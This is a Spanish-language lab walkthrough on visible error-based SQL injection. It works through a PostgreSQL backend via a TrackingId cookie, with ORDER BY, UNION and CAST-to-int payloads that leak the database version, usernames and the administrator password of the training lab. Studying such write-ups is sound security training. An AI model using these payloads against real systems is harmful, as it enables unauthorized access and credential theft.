Entrada

SQLI Lab 13

SQLI Lab 13

Skills

  • Visible error-based SQL injection

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de inyección SQL. La aplicación utiliza una cookie de seguimiento para análisis y ejecuta una consulta SQL que incluye el valor de la cookie enviada, los resultados de la consulta SQL no se devuelven. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Para resolver el laboratorio, hay que encontrar una forma de filtrar la contraseña del usuario administrador y luego iniciar sesión en su cuenta


Resolución

Al acceder a la web nos sale esto

Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId

Si enviamos una petición normal a la web no notaremos nada extraño, sin embargo, si añadimos una ' al en el campo TrackingId nos arrojará un error, esto quiere decir que podemos hemos logrado interferir en la consulta SQL que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Si en el campo cookie efectuamos esta inyección ' or 1=1-- - , también funcionaría usar ' and 1=1-- - , de esta forma evitamos comentar la query y estamos concatenando nuestra query con la existente . El error ya no aparece, esto es debido a que ya no se está produciendo ese error. Para obtener el número de columnas existentes usamos un order by, en este caso sabemos que hay una columna, debido a que si hacemos order by 2 o superior nos arroja un error

1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+order+by+1--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn

Descartamos que se esté empleando Oracle, debido a que no ha arrojado ningún error, si fuera Oracle nos arrojaría un error debido a que haría falta añadir from dual

1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+union+select+null--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn

Si listamos la versión de la base de datos con @@version nos da un error, por lo tanto también podemos descartar las bases de datos MySQL y Microsoft. Al probar con version() nos devuelve un 200 OK lo que quiere decir que no ha producido ningún error y por lo tanto, estamos ante PostgreSQL

1
Cookie: TrackingId='+union+select+version()--+-+; session=4t32wyejFSosLimiWeBWotzdpQskYvmg

He probado a verificar si había alguna diferencia entre usar or y and en consultas como ' or (select 'a')='b'-- - y no hay diferencia alguna. Independientemente del operador utilizado al comparar dos strings, da igual que no sean iguales, no nos arroja ningún error. Por lo tanto no vamos a poder utilizar substr(), o length() para obtener la longitud y posteriormente bruteforcear carácter por carácter. Si nos fijamos bien ha cambiado el error que se mostraba anteriormente al usar este payload

1
Cookie: TrackingId=bU3yTvP58kltPa83'+and+cast((select+1)+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Para que no se produzca el error podemos simplemente añadir 1=

1
Cookie: TrackingId=bU3yTvP58kltPa83'+and+1=cast((select+1)+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Comprobamos que se ve reflejado en la respuesta el input introducido

1
Cookie: TrackingId=bU3yTvP58kltPa83'+and+1=cast((select+'testing')+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Una vez hecho esto ya podemos ver el output que se produce al listar la version de al base de datos modificando el payload anterior

1
Cookie: TrackingId=bU3yTvP58kltPa83'+and+1=cast((select+version())+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Hemos tenido que borrar caracteres debido a que hay un límite máximo de caracteres, si nos pasamos de 60 caracteres la consulta no se llevará a cabo. Por esta misma razón no podemos listar tablas ni bases de datos, la única opción para para enumerar tablas que se me ocurre es efectuar un Cluster bomb y bruteforcear el nombre de las tablas para la base de datos actual usando este payload. El primer payload serían las letras de la a-z y el segundo sería un diccionario con el nombre de tablas

1
Cookie: TrackingId='+and+1=cast((select+'a'+from+users+limit+1)+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Si la tabla existe nos responderá con este mensaje, una vez encontrada una tabla existente podemos bruteforcear el nombre de las columnas con un ataque de tipo Sniper

Por el contrario si la tabla no existe nos responderá con este otro mensaje, de esta forma, si nos fijamos en el Content-Length podremos saber si existe o no

Obtenemos el nombre de usuario

1
Cookie: TrackingId='+and+1=cast((select+username+from+users+limit+1)+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Obtenemos la contraseña del usuario administrador

1
Cookie: TrackingId='and+1=cast((select+password+from+users+limit+1)+as+int)--+-+; session=sR4Q8zJsTtcc808JJ5wGl7shmW8zfT4g

Nos logueamos con las credenciales administrador:865232i99b9ovbdp8kvn

Esta entrada está licenciada bajo CC BY 4.0 por el autor.